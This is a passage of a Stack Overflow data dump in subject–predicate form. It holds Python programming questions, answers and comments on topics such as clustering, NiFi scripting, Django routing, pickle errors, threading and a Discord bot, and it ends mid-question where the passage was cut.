has body: I have a dataset which has 14 different features/columns and 4328 rows, values of which I have then processed and converted into a NumPy array of shape (4328, 14). I have then applied Mean Shift on this NumPy array to train my model, which segregates the data points into 29 different clusters. Cluster centres: array([[ 0.00000000e+00, 2.88896062e+02, 2.78953471e+02, 2.08648004e+02, 2.12223611e+02, 5.38985939e+01, 3.71283150e-01, 5.70311771e+03, 4.54253094e-01, 1.30592925e+00, 6.64259488e+00, 3.82481843e+00, 6.43865296e+00, 6.43865296e+00], [ 0.00000000e+00, 2.83183908e+02, 9.48864664e+01, 3.59258621e+03, 9.05744253e+01, 8.35206117e+00, 4.13793103e-01, 5.70172414e+03, 2.78249425e-01, 8.88868966e-01, 6.63727816e+00, 4.84751149e+00, 6.61705172e+00, 6.61705172e+00], [ 0.00000000e+00, 3.15511628e+02, 7.55761355e+01, 6.52134884e+03, 7.04900000e+01, 6.69296631e+00, 3.72093023e-01, 5.69984767e+03, 3.52367442e-01, 9.50423256e-01, 6.81103721e+00, 2.70016977e+00, 3.48411628e+00, 3.48411628e+00], [ 0.00000000e+00, 2.98297297e+02, 4.95190674e+01, 9.43194595e+03, 4.64532432e+01, 4.89748830e+00, 3.24324324e-01, 5.69470405e+03, 1.71972973e-01, 1.21458649e+00, 6.85496486e+00, 3.54600000e+00, 5.62750811e+00, 5.62750811e+00], [ 0.00000000e+00, 3.60428571e+02, 3.22145995e+03, 9.85714286e+00, 3.24273036e+03, -6.35189676e-01, 4.64285714e-01, 5.65968214e+03, -2.39050000e-01, 7.49132143e-01, 6.57582857e+00, -2.07893214e+00, -6.82446429e-01, -6.82446429e-01], [ 0.00000000e+00, 2.48600000e+02, 4.35963021e+01, 1.18772000e+04, 4.21820000e+01, 3.25541197e+00, 4.00000000e-01, 5.69281500e+03, -4.94350000e-01, -1.41250000e-01, 7.01363000e+00, -7.76800000e-02, 2.37982000e+00, 2.37982000e+00], [ 0.00000000e+00, 2.56777778e+02, 3.86608797e+01, 1.48944444e+04, 3.43100000e+01, 1.36524043e+01, 2.22222222e-01, 5.70588333e+03, -4.92000000e-02, 8.88366667e-01, 6.78814444e+00, 5.58971111e+00, 6.56455556e+00, 6.56455556e+00], [ 0.00000000e+00, 3.14111111e+02, 4.78123643e+01, 2.02325556e+04, 4.67500000e+01, 4…
downvote count: 0
answer count: 1
tagged with: mean-shift
has title: Scikit learn: Applying Mean Shift on a multi-dimensional dataset
tagged with: machine-learning
upvote count: 1
tagged with: scikit-learn
has comment: http://stackoverflow.com/comment/86015849
favorite count: 0

http://stackoverflow.com/a/49524039
has body: From your question you say you need to invoke the Python script without using the InvokeScriptedProcessor or ExecuteScript processors because you can't use Jython. Given that requirement, you should still be able to accomplish your goal. While it requires some familiarity with the framework, all of this information is from the ExecuteStreamCommand documentation. Your "I currently don't understand" section: How to call the python script (from the ExecuteStreamCommand Processor) In your ExecuteStreamCommand processor, configure the Command Arguments and Command Path properties with the following: Command Arguments: any flags or args, delimited by ; (i.e. /path/to/my_script.py) Command Path: /path/to/python3 How to load up the FlowFile from within Python The flowfile content will be passed via STDIN, so in your Python script, process that data the same way you would normally process STDIN. How to update or create a new FlowFile from within Python NiFi handles the flowfile creation in the framework. Any data passed by your Python script to STDOUT will be populated into the content of the resulting flowfile passed to the output stream relationship of the ExecuteStreamCommand processor. Your script does not need to have any awareness of "flowfiles" in this instance. If you were instead using the ISP or ES processors, you could use the NiFi scripting API which is automatically injected into the scripts to create or update the flowfile object. How to output the updated FlowFile from Python back to NiFi. Again, simply write the desired flowfile content to STDOUT from your script, and (given a return status code of 0) NiFi will generate a new flowfile with that content. If you set the Output Destination Attribute property of ESC to a non-null value, NiFi will instead update the existing flowfile with a new attribute of the same name containing the output of the script.
has comment: http://stackoverflow.com/comment/110127554
has comment: http://stackoverflow.com/comment/108608334
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/124107549
score: 19
has comment: http://stackoverflow.com/comment/113634473
answers question: http://stackoverflow.com/q/49467969
has comment: http://stackoverflow.com/comment/86099346
type: Answer
accepted answer of: http://stackoverflow.com/q/49467969
has comment: http://stackoverflow.com/comment/110117752
upvote count: 19

http://stackoverflow.com/a/49517404
score: 0
has body: This is my final result, what do u think? And yes I am aware of using global varibles. And btw, its newtows method restart = True import re from decimal import Decimal while restart: print("Hej ska du vara! Detta är Newtons metod. Jag kan räkna ut nollställen ALLA nollställen, coolt va?!? Testa gärna mig :)") a=(input("Skriv din funktion")) b=(input("Ange dervatan till din funktion")) def f(x): return eval(re.sub("x", str(x), a)) def fprime(x): return eval(re.sub("x", str(x), b)) gissa = None inputText = "Ange din gissning av ett nollställe: " def getInput(): global gissa global inputText gissa = float(input(inputText)) if fprime(gissa) == 0: inputText = "Gissningen ej definierad, ange en ny: " return True else: return False while getInput(): pass for n in range(1, 50): nextgissa = gissa - f(gissa)/fprime(gissa) gissa = nextgissa gissa=Decimal(gissa) output=round(gissa,2) print("Nollstället är", output) restart=input("Tryck på valfri tagent för att starta om eller enter för att avsluta!") if restart=="": restart = False print("Hejdå ska du vara!")
answers question: http://stackoverflow.com/q/49471894
type: Answer

http://stackoverflow.com/q/49460789
tagged with: numerical-integration
has body: I have a code which uses as part of the process the scipy.integrate.quad package. This should produce values (the blue squares) which follow the red line in the figure below. Some of the blue squares do not follow the trend which can only be derivative of error in the scipy.integrate.quad procedure. Does anybody know why the quad package might fail for only some of the responses? Might it have something to do with floating point arithmetic or some other underlying issue? Note: I've seen this problem before in other functions and I'm sure the source of error is the quad package and not the rest of my code.
has title: Why does scipy.integrate.quad return 0 instead of the correct value of the integral?
type: AnsweredQuestion
score: 1
answer count: 1
downvote count: 0
accepted answer: http://stackoverflow.com/a/49460833
has answer: http://stackoverflow.com/a/49460833
tagged with: scipy
favorite count: 0
type: Question
tagged with: quad
upvote count: 1
tagged with: python

http://stackoverflow.com/a/49553936
type: Answer
has body: You can use the ast module to convert the sting object to a dictionary. Ex: import ast d = '{"test":["test0","test1"],"dict":["dict0","dict1","dict2"]}' print(ast.literal_eval(d)) Output: {"test":["test0","test1"],"dict":["dict0","dict1","dict2"]} Or you can use the JSON module. Ex: import json with open("dict.txt","r") as dict_file: text = json.load(dict_file)
accepted answer of: http://stackoverflow.com/q/49553653
upvote count: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86115774
score: 2
has comment: http://stackoverflow.com/comment/86115564
answers question: http://stackoverflow.com/q/49553653

http://stackoverflow.com/comment/107477488
type: QuestionComment
score: 0
has text: Check [how-to-recompile-the-bootloader-of-pyinstaller](https://stackoverflow.com/questions/53584395/how-to-recompile-the-bootloader-of-pyinstaller). it's not difficult to rebuild the `bootloader`, and `pyinstaller` has more external libraries support than `py2exe`.
type: Comment
comment on: http://stackoverflow.com/q/49479277

http://stackoverflow.com/q/49540188
linked to: http://stackoverflow.com/q/8665072
has comment: http://stackoverflow.com/comment/86094666
tagged with: python
accepted answer: http://stackoverflow.com/a/49540578
tagged with: image
favorite count: 0
type: Question
upvote count: 4
linked to: http://stackoverflow.com/q/6128208
has title: Upload image through MacOS window with Selenium
answer count: 1
downvote count: 0
tagged with: selenium
tagged with: key
score: 4
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49540578
has body: Set-up I'm using Python 3.x and Selenium to work on the back-end of a webshop. I need to upload a product image from my computer on the platform's back-end. Problem The image Upload button is clickable with Selenium, however clicking results in a MacOS file picker popping up. Selenium doesn't work on the MacOS file picker. I have searched how to solve this problem and found the following answers, https://stackoverflow.com/a/6129464/7326714 http://www.seleniumstutorial.com/uploading-a-file-in-selenium-with-python/ https://stackoverflow.com/a/10472542/7326714 However, none of this works. The html around the button is, Upload<input id="FileNameUpload" type="file" name="FileNameUpload" data-editor="#FileName" data-url="http://also-inc.demohoster.com/upload/uploadfile" data-path="~/UserFiles/Products/Images/" data-maxsize="10240" data-extensions="*.jpg;*.jpeg;*.png;*.gif;*.bmp;" data-thumbnailwidth="128" data-thumbnailheight="128" data-thumbnailpath="/UserFiles/Products/Images/Preview/" data-uniquename="True" data-preview="/UserFiles/Products/Images/Preview/File636578585362423712.png" data-isnew="false" data-auth="2CDE59B99D5F034087CA006254189C31F4388BA02DDE1CD1752A2FCFDE6EB556406CAF9D82DE4E02AC4D7D9813E2CF8B2A1413EF7CE8CA22FDD9822130B4EC239F1BD305F8AA1E5F6E9EFD1CD64138B8A621A88A675A3A528B7DF2F0388C36C473CBAD080CF826A28A3464FB719D039690241E38" data-session="jx134u0kcaxfu4jz1darurvg" class="file-uploader hide-input" style="display: none;"> Tries I've tried clicking the button and then sending keys, browser.find_element_by_id('uploadifive-FileNameUpload').click() browser.find_element_by_id('uploadifive-FileNameUpload').send_keys('path/to/MyImage.jpeg') (also tried id 'uploadifive-FileNameUpload-queue' and id 'FileName' in all possible combinations) And I've tried sending without clicking, i.e. browser.find_element_by_id('uploadifive-FileNameUpload').send_keys('path/to/MyImage.jpeg'). Again for all keys. Whatever I try, I keep getting a ElementNotInteractableException. This…

http://stackoverflow.com/comment/85983543
score: 0
has text: @rkmalaiya Post it as answer. I ll accept it.
comment on: http://stackoverflow.com/q/49483748
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49558062
favorite count: 0
type: Question
tagged with: python-3.x
has answer: http://stackoverflow.com/a/49558192
has answer: http://stackoverflow.com/a/49558338
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/49558136
tagged with: python
answer count: 4
has comment: http://stackoverflow.com/comment/86123958
linked to: http://stackoverflow.com/q/1663807
has answer: http://stackoverflow.com/a/49558957
has body: I'm trying to loop through 2 lists and combine the results and write that to a file, however I could find a method to do this yet. hosts = ['host1', 'host2', 'host3'] ips = ['ip1', 'ip2', 'ip3'] filename = 'devicelist.txt' with open(filename, 'w') as out_file: for i in ips: for h in hosts: out_file.write(h + ' - ' + i + '\n') This basically runs through every possible combination, but that's not the result I'm looking for. What I'm looking is like this: host1 - ip1 host2 - ip2 host3 - ip3
tagged with: list
has title: How to loop through 2 lists and combine the results in Python
score: 0
upvote count: 1
duplicate of: http://stackoverflow.com/q/1663807
downvote count: 1
linked to: http://stackoverflow.com/q/21507319

http://stackoverflow.com/q/49561624
has answer: http://stackoverflow.com/a/49562008
has title: File data gets erased while loading through pickle
has body: Ive created a class called Animals to create animal like objects and when i create the objects and save it to a file called animals.txt using pickle module it works perfectly fine but when i try to load it from another python file i get an error saying that "EOFError: Ran out of input" and after that the whole data on that file gets completely erased. I dont understand why is this happening. Maybe because the file size might be large enough for the pickle to handle. from pickle import * fo=open(animals.txt,"wb+") List = [] try: fo1=tuple (load (fo)) List .append (fo1) except EOFError: pass class Animal: def __init__(self, age, name,, owner, speed) self.age=age self.name =name self.owner=owner self.speed=speed def diplay_attr (self): return 'age = {0}, name={1}, owner={2}, speed = {3} ' .format(self.age,self.name,self.owner,self.speed) #creating objects Dog = Animal (10, 'Tommy', 'bill', '6ft', '15mph') Cat = Animal (3, 'perry', 'kevin', '2ft', '12mph') D = Dog.display_attr () C = Cat.display_attr #saving everything to the list List.append (tuple (D)) List.append (tuple (C)) #dumping List contents to the file dump (List,fo) fo.close () Now if i load the file contents from another python file as i said the whole data on the file gets erased This is the code ive used to load the file from pickle import * List =[] with open('robots.txt','wb+') as fo: fo2=tuple (load (fo)) List.append (fo2) print (List) When executed got an error as fo2 = tuple (load (fo)) EOFError: Ran out of input Thankyou. Any help is appreciated EDIT :Sorry I didn't realize that i had typed this instead of self but in the actuall code ive used self and here everything goes just fine but the problem persists only while loading the file
type: Question
answer count: 2
has comment: http://stackoverflow.com/comment/86131385
has answer: http://stackoverflow.com/a/49561933
accepted answer: http://stackoverflow.com/a/49561933
tagged with: python
possible better answer: http://stackoverflow.com/a/49562008
type: AnsweredQuestion
score: 0

http://stackoverflow.com/q/49579673
has comment: http://stackoverflow.com/comment/86169802
answer count: 1
tagged with: django
has comment: http://stackoverflow.com/comment/86181869
has comment: http://stackoverflow.com/comment/86182305
tagged with: django-rest-framework
has comment: http://stackoverflow.com/comment/86169702
has comment: http://stackoverflow.com/comment/86181951
type: Question
has comment: http://stackoverflow.com/comment/86169504
tagged with: docker
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86169520
score: 0
has comment: http://stackoverflow.com/comment/86169766
has body: Im developing and API using Django and django-rest-framework. I have a linux server running Ubuntu, there is installed Docker and Nginx, Im running Django App with Postgresql database in docker container. Server's nginx is exposing port 443 and tunneling this to docker via unix socket. Everything seems to be okay. But the part in project-level urls.py is driving me crazy past five hours. My app level urls.py from django.conf.urls import url from devices.viewsets import * from rest_framework.routers import DefaultRouter router = DefaultRouter() router.register(r'endpoint1', Endpoint1ViewSet, base_name='user') router.register(r'users', UsersViewSet, base_name='device') urlpatterns = router.urls Project-level urls.py from django.contrib import admin from django.conf.urls import url from django.urls import include, path from rest_framework.documentation import include_docs_urls API_PREFIX = 'api/v1/' urlpatterns = [ url(API_PREFIX + 'docs/', include_docs_urls(title='API Docs')), url(API_PREFIX + 'admin/', admin.site.urls), url(API_PREFIX, include('devices.urls')) # This line is killing me ] Nginx part: # API location /api/v1 { include uwsgi_params; uwsgi_pass unix:/var/run/api/app.sock; } location /api/v1/static { rewrite /api/v1/static/(.*) /$1 break; root /home/ubuntu/device_api/api/v1/static; } So far I launch the container with docker-compose, and i can acces https://myweb.com/api/v1/docs, https://myweb.com/api/v1/admin but the API endpoints itselfs seems hidden somewhere, because when i try to request https://myweb.com/api/v1/users i get nginx 502 and in docker-compose logs | grep api gives me this output: django.db.utils.ProgrammingError: relation "api_user" does not exist api | LINE 1: ..., "api_user"."note", "api_user"."company_id" FROM "api_user" That seems like it is trying to access /users/api/v1 maybe? Thats very strange, because the root of API, https://myweb.com/api/v1/ gives me default django-rest-framework page with all accessible endpoints, however, the…
tagged with: nginx
has comment: http://stackoverflow.com/comment/86170342
has comment: http://stackoverflow.com/comment/86182152
tagged with: python
has title: Django, Nginx weird behaviour of urls.py
accepted answer: http://stackoverflow.com/a/49617224
has comment: http://stackoverflow.com/comment/86170200
has comment: http://stackoverflow.com/comment/86169563
has answer: http://stackoverflow.com/a/49617224
has comment: http://stackoverflow.com/comment/86169243
has comment: http://stackoverflow.com/comment/86169353

http://stackoverflow.com/comment/118048588
type: AnswerComment
has text: Yeah you can define another handler without console.
score: 0
type: Comment
comment on: http://stackoverflow.com/a/49581564

http://stackoverflow.com/comment/86176497
type: AnswerComment
comment on: http://stackoverflow.com/a/49584146
type: Comment
has text: The question is asking for free code, which merits a close vote instead of an answer. Your answer does not actually explain anything, it just provides a code dump for the lazy. That's just my take on it, but the beauty of this site is that I only get one vote and you're more than welcome to ignore me.
score: 0

graph-tool
tag name: graph-tool
type: Tag
tags question: http://stackoverflow.com/q/49478341

http://stackoverflow.com/q/49498466
score: 10
has answer: http://stackoverflow.com/a/49498579
has title: How to check if all values in a dataframe are True
tagged with: pandas
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/49498497
downvote count: 0
upvote count: 10
has body: pd.DataFrame.all and pd.DataFrame.any convert to bool all values and than assert all identities with the keyword True. This is ok as long as we are fine with the fact that non-empty lists and strings evaluate to True. However let assume that this is not the case. &gt;&gt;&gt; pd.DataFrame([True, 'a']).all().item() True # Wrong A workaround is to assert equality with True, but a comparison to True does not sound pythonic. &gt;&gt;&gt; (pd.DataFrame([True, 'a']) == True).all().item() False # Right Question: can we assert for identity with True without using == True
has comment: http://stackoverflow.com/comment/86001230
favorite count: 0
type: Question
possible better answer: http://stackoverflow.com/a/49498497
linked to: http://stackoverflow.com/q/36825925
accepted answer: http://stackoverflow.com/a/49498579
tagged with: python

http://stackoverflow.com/comment/85912569
comment on: http://stackoverflow.com/q/49454465
score: 1
type: Comment
has text: https://github.com/python/cpython/blob/6f0eb93183519024cb360162bdd81b9faec97ba6/Doc/c-api/complex.rst
type: QuestionComment

wrapper
tag name: wrapper
type: Tag
tags question: http://stackoverflow.com/q/49557893
tags question: http://stackoverflow.com/q/49468267

http://stackoverflow.com/comment/120803863
has text: @Abayomi Israel I tried to explain it better above
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/68020747
type: Comment

http://stackoverflow.com/a/49498266
accepted answer of: http://stackoverflow.com/q/49471437
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/49471437
has body: Absolutely, and in fact it's quite simple to do. For a single sample you are computing a vector of 5 loss values, something like losses = [1.2, 0.3, 1.5, 3.3, 0.6]. Note that this result is before you perform any tf.reduce_mean functions on your loss. Now build yourself a function in tensorflow that produces a result of 1 or 0 for each of these loss values to indicate whether you want to zero it out (0) or keep it (1). You now have mask = [1 1 0 0 0] based on the example where you want to keep name and type and zero out the loss for the other three. Now you multiply final_loss = losses * mask to get your final loss values, apply tf.reduce_mean now and pass that into your optimizer. The key point to note is that this does what you want in gradient descent because 1x = dx and 0x = 0 when you take the derivatives, so you end up zeroing out the gradient in the cases that shouldn't apply. This is how an RNN with variable sequence lengths works when it's passed in dummy padded values, it zeros out the gradient using a mask.
type: Answer
has comment: http://stackoverflow.com/comment/86128813
score: 0

http://stackoverflow.com/a/49546627
has body: You are not supplying all the required parameters in the command line Windows example from the post you linked: example (SO won't let me post images. ) If the file is stored in C:\training_data and assuming your working directory is F:\Tensorflow then the command is python F:\Tensorflow\retrain.py --image_dir C:\training_data --how_many_training_steps 500 --model_dir F:\Tensorflow\inception --output_graph=F:\Tensorflow\retrained_graph.pb --output_labels=F:\Tensorflow\retrained_labels.txt
score: 3
upvote count: 3
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/86139696
answers question: http://stackoverflow.com/q/49545926
accepted answer of: http://stackoverflow.com/q/49545926
type: Answer

http://stackoverflow.com/comment/86483686
has text: One way to achieve this, assuming you're trying to run tests out of the same project is this: \---Tests \---YamlFiles | | test_foo.tavern.yaml | | test_bar.tavern.yaml | | \---src | util.py:my_func | in test_foo.tavern.yaml: $ext: # This is a relative path to your python code function: Tests.YamlFiles.util:my_func
comment on: http://stackoverflow.com/q/49448290
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/86037438
has text: i got the solution @JordiMiralles. Thank you for the comment.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49448309

http://stackoverflow.com/q/49561634
tagged with: multithreading
answer count: 1
has body: Problem: Males and Females can use a unisex bathroom. The bathroom has infinite capacity but Males and Females cannot use the bathroom at the same time. I'm having trouble enforcing the sex-segregation provision. I'm trying to use the LightSwitch design pattern from "Little Book of Semaphores" and I can't figure out why the pattern isn't excluding the opposite sex when a male or female is in the bathroom. This isn't a homework problem. It's a problem I bombed on in an interview. Users.py: class User(object): def __init__(self, cv, sex, line_full_event): self.cv = cv self.sex = sex self.line_full_event = line_full_event def enter_bathroom(self, bathroom): with self.cv: bathroom.enter(self.sex, self.cv) def leave_bathroom(self, bathroom): bathroom.leave(self.sex, self.cv) class Male(User): def __init__(self, cv, sex, line_full_event): super(Male, self).__init__(cv, sex, line_full_event) def go(self, bathroom): logging.debug("Male queueing up") self.line_full_event.wait() super(Male, self).enter_bathroom(bathroom) super(Male, self).leave_bathroom(bathroom) class Female(User): def __init__(self, cv, sex, line_full_event): super(Female, self).__init__(cv, sex, line_full_event) def go(self, bathroom): logging.debug("Female queueing up") self.line_full_event.wait() super(Female, self).enter_bathroom(bathroom) super(Female, self).leave_bathroom(bathroom) LightSwitch.py: class LightSwitch: def __init__(self): self.mutex = Lock() self.count = 0 def inc(self, cv): with self.mutex: self.count += 1 logging.debug("inc-ing! count == %d", self.count) if self.count == 1: cv.acquire() def dec(self, cv): with self.mutex: self.count -= 1 logging.debug("dec-ing! count == %d", self.count) if self.count == 0: cv.notify_all() cv.release() Bathroom.py MALE = 1 FEMALE = 0 class Bathroom: def __init__(self): self.male_switch = LightSwitch() self.female_switch = LightSwitch() def enter(self, sex, cv): if sex == MALE: self.female_switch.inc(cv) elif sex == FEMALE: self.male_switch.inc(cv) def l…
tagged with: design-patterns
favorite count: 0
type: Question
tagged with: python
upvote count: 4
score: 4
has answer: http://stackoverflow.com/a/49565969
accepted answer: http://stackoverflow.com/a/49565969
has title: Unisex Bathroom: Threading in Python
type: AnsweredQuestion
downvote count: 0

http://stackoverflow.com/q/49461533
possible better answer: http://stackoverflow.com/a/49461610
answer count: 2
upvote count: 2
has title: How to hide password in API response?
downvote count: 0
tagged with: django
has comment: http://stackoverflow.com/comment/85985952
favorite count: 0
type: Question
tagged with: password-protection
has comment: http://stackoverflow.com/comment/85974705
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49461610
has comment: http://stackoverflow.com/comment/85987511
tagged with: django-models
tagged with: python
accepted answer: http://stackoverflow.com/a/49491696
has body: I know that some may say that there is no need to provide password in api-response if i have to hide it. but the point is, even if i go to admin section, i can see the password hash value, that's why i'm doing this. So my question is, how can I hide that password in my API response. For ex. using asterisks. Note: I have a custom model for my data. i just need a function and where to put it to work. models.py from django.db import models from django.contrib.auth.hashers import make_password class MyUser(models.Model): full_name = models.CharField(max_length=128) profile_picture = models.ImageField(upload_to="user_data/profile_picture", blank=True) username = models.CharField(max_length=128, unique=True) birth_date = models.DateField(blank=True) gender = models.CharField(max_length=10, blank=True) password = models.CharField(max_length=255) contact = models.CharField(max_length=15, blank=True) email = models.CharField(max_length=100, unique=True) time_stamp = models.DateTimeField(auto_now_add=True) def __str__(self): return self.username def save(self, *args, **kwargs): if not self.pk: self.password = make_password(self.password) super(MyUser, self).save()
has answer: http://stackoverflow.com/a/49491696
score: 2

http://stackoverflow.com/q/49498531
type: Question
accepted answer: http://stackoverflow.com/a/49498670
upvote count: 1
answer count: 1
has body: I have a pandas dataframe with a csv that contains an age column. Example data looks like: [0-10) [10-20) [20-30) How can I factorise the data: 0 1 2 depending on the age found in each row.
tagged with: python
favorite count: 0
has answer: http://stackoverflow.com/a/49498670
type: AnsweredQuestion
score: 0
tagged with: pandas
downvote count: 1
tagged with: dataframe
has title: Quantizing age range column Python

http://stackoverflow.com/a/49522845
score: 3
upvote count: 3
downvote count: 0
type: AcceptedAnswer
has body: 1) Use following in template: {% for key,value in object.specifications.items %} {{key}}:{{value}} {% endfor %} OR 2)If you are rendering a template with the data as OrderedDict, you can use following approach for the same. return render_to_response('your_template.html',{'data': sorted(your_ordered_dict.iteritems())}) and in Template you can use the same as below: {% for key, value in data %} {{key}}:{{value}} {% endfor %} Hope it will help you!!
accepted answer of: http://stackoverflow.com/q/49522697
type: Answer
answers question: http://stackoverflow.com/q/49522697

http://stackoverflow.com/a/49504729
has body: This is the best i could do ,although there might be better ways to do it,perhaps the best way is to use a dictionary , i hope this helps anyways print(list(set(map(lambda x: (x[0],sum(map(lambda y: y[1] if x[0] == y[0] else 0,order) )),order)) ) ) OUTPUT [('9744', 809.1), ('88112', 474.64), ('5464', 219.78), ('8274', 233.82), ('8732', 83.93), ('7733', 208.89)]
answers question: http://stackoverflow.com/q/49503850
score: 0
has comment: http://stackoverflow.com/comment/86013679
type: Answer

http://stackoverflow.com/comment/86016978
type: AnswerComment
comment on: http://stackoverflow.com/a/49506120
has text: This answer doesn't explain the key point. The comparison isn't to `lambda x, i: x**i`, it's to `lambda x: x**i`, using `i` as a closure variable. That looks like it should work at first glance, but doesn't. And the `i=i` idiom is specifically used to capture a variable by current value instead of by closure.
type: Comment
score: 1

http://stackoverflow.com/comment/86078606
type: AnswerComment
has text: My issue is basically understanding the fact that he uses `test_data` both in the `if` and inside it, wouldn't this cause some sort of conflict?
type: Comment
comment on: http://stackoverflow.com/a/49535957
score: 0

http://stackoverflow.com/comment/85942704
comment on: http://stackoverflow.com/a/49469996
type: Comment
score: 0
type: AnswerComment
has text: Something does seem a bit fishy in @jezrael timing though as the standard deviation is greater than the mean

http://stackoverflow.com/comment/85991774
type: Comment
comment on: http://stackoverflow.com/a/49492798
type: AnswerComment
has text: in __init__ self.predictor = dlib.shape_predictor(facePredictor) RuntimeError: Unexpected version found while deserializing dlib::shape_predictor. this is the error i get
score: 0

foreground
type: Tag
tags question: http://stackoverflow.com/q/49455925
tag name: foreground

http://stackoverflow.com/a/49485089
score: 2
upvote count: 2
has body: Keeping your Try-Except approach, you can simply check if the string that user inputs is done without converting to float, and break the while loop. Also, it's always better to specify the error you want to catch. ValueError in this case. while True: num = input('(Enter \'done\' when complete.) Enter num: ') if num == 'done': break try: num = float(num) except ValueError: print('Error, invalid input.') continue
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/49484750

http://stackoverflow.com/q/49562234
has body: I am trying to format a hyperlink that goes out in an MMS so far I have this phoneLink = "Click Here To Call Support 1-800-555-1212" sLink = '{0}'.format(phoneLink) This works sort of it sends the MMS with the phone link which works the only problem is it looks line this in the final message: Click Here To Call Support 1-800-555-1212" It should be just: Click Here To Call Support 1-800-555-1212 I thought there was a hyperlink format function in Python, but I can't seem to find it. How do I fix this? Thanks
score: 0
answer count: 1
has title: Formatting hyperlinks in Python
type: Question
tagged with: hyperlink
tagged with: python
type: UnansweredQuestion
tagged with: formatting
has answer: http://stackoverflow.com/a/49564200

amazon-web-services
tags question: http://stackoverflow.com/q/49447474
tags question: http://stackoverflow.com/q/49513475
tags question: http://stackoverflow.com/q/49563445
tags question: http://stackoverflow.com/q/49444424
tags question: http://stackoverflow.com/q/49458807
tags question: http://stackoverflow.com/q/49500117
tags question: http://stackoverflow.com/q/49544670
tags question: http://stackoverflow.com/q/49545712
tags question: http://stackoverflow.com/q/49552908
tags question: http://stackoverflow.com/q/49501734
tags question: http://stackoverflow.com/q/49530544
tags question: http://stackoverflow.com/q/49571911
tags question: http://stackoverflow.com/q/49504039
tags question: http://stackoverflow.com/q/49556382
tags question: http://stackoverflow.com/q/49522122
tags question: http://stackoverflow.com/q/49567804
tags question: http://stackoverflow.com/q/49458228
tags question: http://stackoverflow.com/q/49572151
tags question: http://stackoverflow.com/q/49531532
tags question: http://stackoverflow.com/q/49511038
tags question: http://stackoverflow.com/q/49568156
tags question: http://stackoverflow.com/q/49504232
type: Tag
tags question: http://stackoverflow.com/q/49570363
tag name: amazon-web-services
tags question: http://stackoverflow.com/q/49534847
tags question: http://stackoverflow.com/q/49512095
tags question: http://stackoverflow.com/q/49522014
tags question: http://stackoverflow.com/q/49563491
tags question: http://stackoverflow.com/q/49484772
tags question: http://stackoverflow.com/q/49471779
tags question: http://stackoverflow.com/q/49495370

http://stackoverflow.com/q/49563116
has comment: http://stackoverflow.com/comment/86162593
has comment: http://stackoverflow.com/comment/86137018
has comment: http://stackoverflow.com/comment/86162507
tagged with: error-correction
has body: Reason given for failure: CSRF token missing or incorrect. I have provided the '{% csrf_token %}' as concerned in this html page but I can't sort the error myself, it's probably out of my understanding about django. eventcreationform.html {% csrf_token %} {% if messages %} {{ message }} {% endif %} {% if user.is_authenticated %} {{ user.username }} ! {% endif %} Please fill this form: {% csrf_token %} {{ form }} Submit forms.py ... class EventForm(forms.ModelForm): event_name = forms.CharField(label='Name') event_date_time = forms.DateTimeField(label='Date and Time', widget=forms.DateTimeInput) address = forms.CharField(label='Address') class Meta: model = CreatedEvent fields = ('event_name', 'event_date_time', 'address') ... urls.py from django.conf.urls import url from django.views.generic import TemplateView from rest_framework.urlpatterns import format_suffix_patterns from api import views from django.conf import settings from django.conf.urls.static import static app_name = 'api' urlpatterns = [ .... url(r'^register/', views.Register.as_view(), name='register'), url(r'^eventform/', views.EventCreationForm.as_view(), name='eventform'), .... ] urlpatterns = format_suffix_patterns(urlpatterns) urlpatterns += static(settings.STATIC_URL, document_root=settings.STATIC_ROOT) urlpatterns += static(settings.MEDIA_ROOT, document_root=settings.MEDIA_ROOT) views.py .... class EventCreationForm(View): template_eventcreationform = 'eventcreationform.html' form_class = EventForm def get(self, request): form = self.form_class(None) return render(request, self.template_eventcreationform, {'form': form}) def post(self, request): # data is here form = self.form_class(request.POST) if form.is_valid(): event = form.save(commit=False) user = request.user.objects form.user = user.email event_name = form.cleaned_data.get('event_name') event_date_time = form.cleaned_data.get('event_date_time') event_address = form.cleaned_data.get('address') event.save() message = 'Event added' return …
answer count: 1
has comment: http://stackoverflow.com/comment/86159514
has comment: http://stackoverflow.com/comment/86160725
tagged with: django-csrf
has comment: http://stackoverflow.com/comment/86162217
type: Question
has title: CSRF verification failed. Request aborted. I think its more of a token mismatch because implementation of {% csrf_token %} is there
has comment: http://stackoverflow.com/comment/86160430
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/86163257
has answer: http://stackoverflow.com/a/49577866
tagged with: python
score: 0
tagged with: django-templates

http://stackoverflow.com/q/49500925
tagged with: discord.py
score: -2
downvote count: 2
has comment: http://stackoverflow.com/comment/86005943
tagged with: python
has comment: http://stackoverflow.com/comment/86005959
has body: I'm getting count of messages from json file, but i have an error... And i do not know why. In this program bot has to send information about member in mention. If I write msg = None at the beginning of the code, it won't send like &gt; messages = 10 it will send messages = None PROGRAM if args[0] == '!in': await client.delete_message(message) highclass = None gm = "" clan = None if (roleLeaders in message.author.roles or roleHunter in message.author.roles or roleDeputy in message.author.roles): for member in message.mentions: user = member userjoin = str(user.joined_at) joinpars= userjoin.split() join = joinpars[0] msg1 = user_get_msg(member.id) time1 = user_get_time(member.id) s = str(msg1) last = int(s[-1]) st = str(time1) stm = time1 // 60 sth = stm // 60 std = sth // 24 if time1 &lt;= 60: lastt = int(st[-1]) if lastt == 0: time = '{0} секунд'.format(time1) if lastt == 1 and not time1 == 11: time = '{0} секунду'.format(time1) if ((time1 &gt;= 11 and time1 &lt;= 19) or (lastt &gt;= 5 and lastt &lt;= 9)): time = '{0} секунд'.format(time1) if (lastt &gt;= 2 and lastt &lt;= 4) and not (time1 &gt;= 11 and time1 &lt;= 19): time = '{0} секунды'.format(time1) if time1 &lt;= 3600 and time1 &gt; 60: lastt = 